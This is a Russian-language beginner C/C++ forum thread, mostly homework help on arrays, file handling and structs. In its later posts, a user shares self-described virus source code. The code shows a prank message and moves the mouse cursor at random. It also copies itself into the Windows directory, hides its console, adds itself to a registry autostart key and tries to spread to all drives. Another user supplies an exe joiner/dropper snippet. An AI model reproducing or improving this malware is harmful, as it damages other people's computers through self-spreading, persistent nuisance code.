RE: Вопросы по C/C++ (Для новичков)
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-26 18:04:07.320000
|
|
|
Kadead
Сообщений: 108
Оценки: 0
Присоединился: 2007-10-22 23:02:04.916666
|
Блин невнимательно посмотрел твое сообщение))) ну ты самое главное посмотри общую схему как это делается, алгоритм, так сказать, вычислений.А под язык уж реализуешь.тем более Си и С++ во многом схожи в синтаксисе.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-26 19:48:02.113333
|
|
|
D1_F
Сообщений: 5
Оценки: 0
Присоединился: 2009-12-16 23:28:14.056666
|
народ помогите пожалуйста с написанием программы,нужна прога на языке си,кот ищет в текстовом файле все строки,содержащие заданный символ, символ задавать с клавиатуры, номра строк вывести в тот же файл через запятую.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-26 20:59:36.583333
|
|
|
Papa James
Сообщений: 438
Оценки: 0
Присоединился: 2009-12-07 13:36:18.370000
|
quote:
ORIGINAL: D1_F народ помогите пожалуйста с написанием программы,нужна прога на языке си,кот ищет в текстовом файле все строки,содержащие заданный символ, символ задавать с клавиатуры, номра строк вывести в тот же файл через запятую. А сам пробовал решить? Тут 5 строк кода всего
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-27 00:46:37.093333
|
|
|
yurket
Сообщений: 69
Оценки: 0
Присоединился: 2009-05-04 23:47:54.993333
|
не знаю как решить задачу: дана матрица размером n*m. Элементами матрицы являются слова. произвести со словами разные манипуляции (ну к примеру отсортировать главную диагональ). Память под массив выделять динамически…. вся проблема в том, что не знаю как организовать массив…. пишу на СИ…. буду благодарен, если напишете кусок кода или ссылку подкинете по сабжу….
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-27 00:53:31.326666
|
|
|
Papa James
Сообщений: 438
Оценки: 0
Присоединился: 2009-12-07 13:36:18.370000
|
int *a, n, i;
scanf("%d", &n);
a = malloc(n*sizeof(int));
for (i=0; i <n; i++) {
a[i]=0;
}
.............................................
free(a);
Как=то так. Ну соответственно добавь в каждый элемент еще массив - чтобы получился двумерный массив
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-27 01:00:02.280000
|
|
|
yurket
Сообщений: 69
Оценки: 0
Присоединился: 2009-05-04 23:47:54.993333
|
вся фишка в том, чтобы получилось что-то вроде 3-мерного массива…. чтобы можно было отдельно обращаться к слову и любому символу в этом слове…. к примеру mas[j] - позиция слова, а mas[ j ][ k ] - какой-то символ этого слова…
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-27 02:35:07.630000
|
|
|
Papa James
Сообщений: 438
Оценки: 0
Присоединился: 2009-12-07 13:36:18.370000
|
а так не получается, массив типа char создавать? если нет - попробуй каждый элемент просто приравнять переменной типа char
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-27 10:21:18.136666
|
|
|
D1_F
Сообщений: 5
Оценки: 0
Присоединился: 2009-12-16 23:28:14.056666
|
quote:
ORIGINAL: Papa James quote:
ORIGINAL: D1_F народ помогите пожалуйста с написанием программы,нужна прога на языке си,кот ищет в текстовом файле все строки,содержащие заданный символ, символ задавать с клавиатуры, номра строк вывести в тот же файл через запятую. А сам пробовал решить? Тут 5 строк кода всего в том то и проблема что си очень плохо знаю,поэтому и прошу помочь,тем более если всего 5 строчек
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-27 13:41:37.113333
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
quote:
ORIGINAL: D1_F в том то и проблема что си очень плохо знаю,поэтому и прошу помочь,тем более если всего 5 строчек Ну это, как бы, твои проблемы. Ты вообще ничего не сделал для решения задачи, так почему другие должны напрягаться за тебя?
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-27 17:35:46.203333
|
|
|
Papa James
Сообщений: 438
Оценки: 0
Присоединился: 2009-12-07 13:36:18.370000
|
А тут и си знать не надо особо. Если знаешь любой другой язык - без проблем сделал бы.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-27 17:43:20.053333
|
|
|
yurket
Сообщений: 69
Оценки: 0
Присоединился: 2009-05-04 23:47:54.993333
|
все, разобрался…. сделал 3-мерный массив…. если кому интересно, то вот выделение памяти, ввод и вывод строк: char ***str;
int row, col, i, j, l;
printf("\nVvedite kol-vo strok i stolbcov\n");
scanf("%d%d", &row, &col);
str=(char***)calloc(row, sizeof(char **));
for(i=0; i<=row; i++)
{
str[i]=(char **)calloc(col, sizeof(char *));
for (j=0; j<=col; j++)
str[i][j]=(char *)calloc(12, sizeof(char));
}
fflush(stdin);
printf("\nVvedite stroki: \n");
for (i=0; i<row; i++)
for (j=0; j<col; j++)
gets(str[i][j]);
printf("\nVvedeniy massiv:\n");
for (i=0; i<row; i++)
{
printf("\n");
for (j=0; j<col; j++)
for (l=0; l<12; l++)
printf("%c", str[i][j][l]);
}
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-27 19:10:28.006666
|
|
|
GrafMine
Сообщений: 23
Оценки: 0
Присоединился: 2009-04-29 17:08:19.376666
|
Полями структуры есть координаты точки.Узнать три экземпляра структуры и найти периметр триугольника ,что создают эти точки. код программы на Си(для начинающих) данные нужно взять с файла, и записать в файл,очень нуждаюсь в решении задачи. помогите соединить эти две задачки =) , вроде как две сложенные задачи ниже должны и быть решением то что выше(я так думаю) ;)
Задача для примера:
Пусть есть структура которая списывает точку, а также 3 структурированные переменные которые есть вершинами триугольника. Найти периметр этого триугольника используя функцию пользователя для нахождения длину стороны.
#include <stdio.h>
#include <math.h>
double pifagor(int,int,int,int);
void main(){
struct to4ka{
int x,y;}
struct to4ka A,B,C;
double st1,st2,st3;
scanf(%i,%i"&A.x,&A.y);
scanf(%i,%i"&B.x,&B.y);
scanf(%i,%i"&C.x,&C.y);
st1=pifagor(A.x,A.y,B.x,B.y);
st2=pifagor(C.x,C.y,B.x,B.y);
st3=pifagor(A.x,A.y,C.x,C.y);
printf("perimetr=%f",st1+st2+st3);}
double pifagor (int a. int b, int c,int d);
{double P;
P=sqrt((b-d)*(b-d)+(a-c)*(a-c));
return(P);}
вот код програмы подобной моей,его надо немного под редактировать, и добавить раздел"файлы", можно взять с этого примера:
#include <stdio.h>
#include <math.h>
void main()
{
FILE*FL;
float G;
int a,b;
FL=fopen("input.txt","r");
if (FL==NULL)
{
puts ("owubka read");
}
else
{
fscanf(FL,"%i%i",&a,&b);
fclose(FL);
}
G=(log(pow(a,12)-sqrt(pow(a,7))*exp(b)/(cos(13*(a*a)))));
printf("%f",G);
{
FILE*fp;
fp=fopen("output.txt","w");
if (FL==NULL)
{
puts ("owubka write");
}
else
{
fprintf(fp, "%i",G);
fclose(fp);
}
}
}
можете помочь ? =)
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-27 19:27:15.030000
|
|
|
GrafMine
Сообщений: 23
Оценки: 0
Присоединился: 2009-04-29 17:08:19.376666
|
Задача: Составить программу, вычисляющую значение выражения (А=(большое\выражение)). Использовать оператор if.Использовать только непрямой доступ к именам переменных. Вот решение:
#include <stdio.h>
#include <math.h>
#include <conio.h>
void main () {
float A;
int R,K,L,C,B;
puts("vvedite 5 chisel");
scanf("%i%i%i%i%i",&R,&K,&L,&C,&B);
if (C-2*B!=0){
A=sqrt((4*R*(K-L))/(C-2*B));
clrscr();
printf("A=%f",A);}
else puts("riweniu net");}
Вопрос : Что такое "Использовать только непрямой доступ к именам переменных." ?
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-27 20:02:02.170000
|
|
|
Papa James
Сообщений: 438
Оценки: 0
Присоединился: 2009-12-07 13:36:18.370000
|
У тебя выполнится только один раз, когда j==x. Попробуй так что ли
for(j=-1;j<=1;j+=0.1)
{
cout << j << endl;
if (sin(x)==0) {
y=x*sin(x);
} else {
y = x * cos(x);
}
cout << y << endl;
}
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-27 21:20:24.970000
|
|
|
hrantabe
Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
|
Как переменную double конвертировать в string
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-27 22:05:13.433333
|
|
|
Papa James
Сообщений: 438
Оценки: 0
Присоединился: 2009-12-07 13:36:18.370000
|
sprintf
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-28 06:05:28.200000
|
|
|
D1_F
Сообщений: 5
Оценки: 0
Присоединился: 2009-12-16 23:28:14.056666
|
quote:
ORIGINAL: _SaZ_ Ну это, как бы, твои проблемы. Ты вообще ничего не сделал для решения задачи, так почему другие должны напрягаться за тебя? ниже мой програмный код, компилятор ругается на q в "fgetpos(fl,q);" #include <stdio.h> void main() { int nd, sizeSt,incCh; char fndSt,difSt; FILE *fl,*flwr; fpos_t *q; fl = fopen("w:/163-01/slFile.dat","rd"); printf("ўўҐ¤ЁвҐ бва®Єг Ї®ЁбЄ \n"); fndSt=getche(); incCh=0; nd=1; while (!feof(fl)) { difSt = fgetc(fl); if (fndSt==difSt) incCh=incCh++; if (difSt=='\n') { fgetpos(fl,q); fclose(fl); flwr = fopen("w:/163-01/slFile.dat","a"); if (incCh>0) fprintf(flwr,"\n%d-%d",nd,incCh); nd = nd++; fclose(flwr); fl=fopen("w:/163-01/slFile.dat","rd"); fsetpos(fl,q); incCh = 0; } } clrscr(); }
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-28 06:43:51.723333
|
|
|
Imate
Сообщений: 69
Оценки: 0
Присоединился: 2009-12-27 13:11:23.183333
|
http://www.cplusplus.com/reference/clibrary/cstdio/fgetpos/ читаем, думаем.. ;)
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-28 07:06:56.286666
|
|
|
D1_F
Сообщений: 5
Оценки: 0
Присоединился: 2009-12-16 23:28:14.056666
|
quote:
ORIGINAL: Imate http://www.cplusplus.com/reference/clibrary/cstdio/fgetpos/ читаем, думаем.. ;) млин я в си плох,а мне оч сроч надо(
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-28 07:12:41.956666
|
|
|
Imate
Сообщений: 69
Оценки: 0
Присоединился: 2009-12-27 13:11:23.183333
|
Удали "*" в 7-й строке и напиши "&" в 19-й
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-28 11:45:45.743333
|
|
|
Zmaster
Сообщений: 930
Оценки: 0
Присоединился: 2007-02-09 19:02:43.500000
|
fl = fopen("w:/163-01/slFile.dat","rd"); - А разве так сработает? По-моему пути пишутся через обратный слеш: fl = fopen("w:\\163-01\\slFile.dat", "rd");
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-28 19:12:45.066666
|
|
|
Denaturat
Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
|
quote:
ORIGINAL: Zmaster По-моему пути пишутся через обратный слеш: тебя неверно информировали
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-28 19:32:17.923333
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
quote:
ORIGINAL: Denaturat quote:
ORIGINAL: Zmaster По-моему пути пишутся через обратный слеш: тебя неверно информировали Платформозависимо :-P
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-31 11:33:21.623333
|
|
|
VAN32
Сообщений: 20
Оценки: 0
Присоединился: 2009-11-06 20:37:37.856666
|
Каким кодом можна склеить два exe файла
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-31 14:50:50.413333
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Программным. Поиск по форуму, гуглу. Ключевое слово joiner.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-12-31 22:29:46.400000
|
|
|
hromjo
Сообщений: 434
Оценки: 0
Присоединился: 2009-12-31 15:42:15.823333
|
Могу посоветовать специальный электронный справочник World C++. В нем содержится около 5000 статей на русском языке и к стати он был на одном из дисков xakep. 8|
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2010-01-01 11:45:51.860000
|
|
|
VAN32
Сообщений: 20
Оценки: 0
Присоединился: 2009-11-06 20:37:37.856666
|
Аде скачать можно World C++.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2010-01-01 20:19:04.750000
|
|
|
Denaturat
Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
|
http://cplusplusworld.com/index.html
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2010-01-01 23:55:40.560000
|
|
|
Zmaster
Сообщений: 930
Оценки: 0
Присоединился: 2007-02-09 19:02:43.500000
|
quote:
Платформозависимо :-P Ну я так и понял:)
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2010-01-03 20:19:08.023333
|
|
|
VAN32
Сообщений: 20
Оценки: 0
Присоединился: 2009-11-06 20:37:37.856666
|
Как цей код добавить в автозагрузку //Bиpyc зacтaвляeт мышкy бecпopядoчнo бeгaть пo мoнитopy #include <vcl.h> #include <windows.h> #include <iostream.h> #include <cmath.h> #pragma hdrstop #pragma argsused int main(int argc, char* argv[]) { MessageBox(0,"Чepeз минyтy вaшa кpыca зaбoлeeт бeшeнcтвoм!","Aйбoлит",MB_OK); Sleep(60000); for (int i=0; i<500; i++) { SetCursorPos(rand()%1024,rand()%768); Sleep(50); } return 0; }
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2010-01-04 01:36:57.836666
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
1. Скомпилировать в .exe 2. Воспользоваться гуглом. инклюд cmath улыбнул =), не говоря про втл и иострим
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2010-01-04 14:22:06.666666
|
|
|
sbk
Сообщений: 144
Оценки: 0
Присоединился: 2008-12-20 19:01:57.273333
|
quote:
ORIGINAL: VAN32 for (int i=0; i<500; i++) { SetCursorPos(rand()%1024,rand()%768); Sleep(50); } А у тебя криса только 25 секунд бешенством болеть будет? И не у всех же мониторов расширение 1024х768…
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2010-01-04 14:55:20.843333
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Она у него консольная, про WinMain чувак не в курсе.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2010-01-05 10:34:51.983333
|
|
|
VAN32
Сообщений: 20
Оценки: 0
Присоединился: 2009-11-06 20:37:37.856666
|
Привет всем.Вот такой вопрос.Написав программу которая должна себя копировать на все диски каки нашла в системы, но она копируе себя тильки на диск "С:" #include <windows.h> #include <stdio.h> int main(int argc, char* argv[]) { char FileName[1024]; int i; char *drives[] = {"C:","D:","E:","F:","G:","H:","I:","J:","K:","L:", "M:","N:","O:","P:","Q:","R:","S:","T:","U:"," V:", "W:","X:","Y:","Z:"}; for(i = 0;i < 24;i++) Metka: if (GetDriveType(drives) == DRIVE_NO_ROOT_DIR) { goto Metka; } else { GetModuleFileName (NULL,FileName,1024); strcat(drives,"\\1.exe"); CopyFile(FileName,drives,1); } Sleep(50); goto Metka; }
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2010-01-05 10:51:39.413333
|
|
|
VAN32
Сообщений: 20
Оценки: 0
Присоединился: 2009-11-06 20:37:37.856666
|
quote:
ORIGINAL: _SaZ_ Она у него консольная, про WinMain чувак не в курсе. Вот полный код моего вируса.Шо Такое WinMain #include <windows.h> #include <cmath.h> #include <registry.hpp> #pragma hdrstop #pragma argsused int main(int argc, char* argv[]) { char VirName[1024]; char WinDir[1024]; GetModuleFileName (NULL,VirName,1024); GetWindowsDirectory (WinDir,1024); strcat (WinDir,"\\Setup.exe"); CopyFile (VirName,WinDir,FALSE); HWND hWnd = FindWindow("ConsoleWindowClass",0); ShowWindow(hWnd,0); TRegistry *reg = new TRegistry(KEY_ALL_ACCESS); if ® { reg->RootKey= HKEY_LOCAL_MACHINE; reg->OpenKey("Software", true); reg->OpenKey("Microsoft", true); reg->OpenKey("Windows", true); reg->OpenKey("CurrentVersion", true); reg->OpenKey("Policies", true); reg->OpenKey("Explorer", true); reg->OpenKey("run", true); reg->WriteString("Setup",WinDir); } MessageBox(0,"Baшa кpыca зaбoлeлa бeшeнcтвoм!","Aйбoлит",MB_OK); Vir: for (int i=0; i<900; i++) { SetCursorPos(rand()%1024,rand()%768); Sleep(50); } Sleep(60000); goto Vir; return 0; }
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2010-01-05 12:50:56.726666
|
|
|
sbk
Сообщений: 144
Оценки: 0
Присоединился: 2008-12-20 19:01:57.273333
|
А чувак крутой программист, метками умеет пользоваться =) А если по твоему вопросу, то я не понял вот этого кусок говна кода: for(i = 0;i < 24;i++)
Metka:
if (GetDriveType(drives) == DRIVE_NO_ROOT_DIR)
{
goto Metka;
}
else
{
GetModuleFileName (NULL,FileName,1024);
strcat(drives,"\\1.exe");
CopyFile(FileName,drives,1);
}
Sleep(50);
goto Metka; Он же даже работать корректно не будет.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2010-01-05 14:12:33.876666
|
|
|
barberan
Сообщений: 15
Оценки: 0
Присоединился: 2004-10-18 21:46:19
|
Для соединения нескольких программ в свою одну необходимо использовать РЕСУРСЫ.
/*пункты меню для добавления файла в ресурсы к своему проекту: add res -> import -> file.exe*/
HMODULE hmod = GetModuleHandle(0);
HRSRC hres = FindResource(hmod, MAKEINTRESOURCE(IDR_EXE1), "exe");
void* pData = LockResource(LoadResource(hmod, hres));
DWORD size = SizeofResource(hmod, hres);
HANDLE hFile = CreateFile("c:\\FUCK.exe", GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0);
/* куда_распаковаться */
WriteFile(hFile, pData, size, &size, 0);
CloseHandle(hFile);
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2010-01-05 15:05:28.386666
|
|
|
VAN32
Сообщений: 20
Оценки: 0
Присоединился: 2009-11-06 20:37:37.856666
|
quote:
ORIGINAL: sbk А чувак крутой программист, метками умеет пользоваться =) А если по твоему вопросу, то я не понял вот этого кусок говна кода: for(i = 0;i < 24;i++)
Metka:
if (GetDriveType(drives) == DRIVE_NO_ROOT_DIR)
{
goto Metka;
}
else
{
GetModuleFileName (NULL,FileName,1024);
strcat(drives,"\\1.exe");
CopyFile(FileName,drives,1);
}
Sleep(50);
goto Metka; Он же даже работать корректно не будет. Если ты крутой программист то напиши код
|
|
|
|
|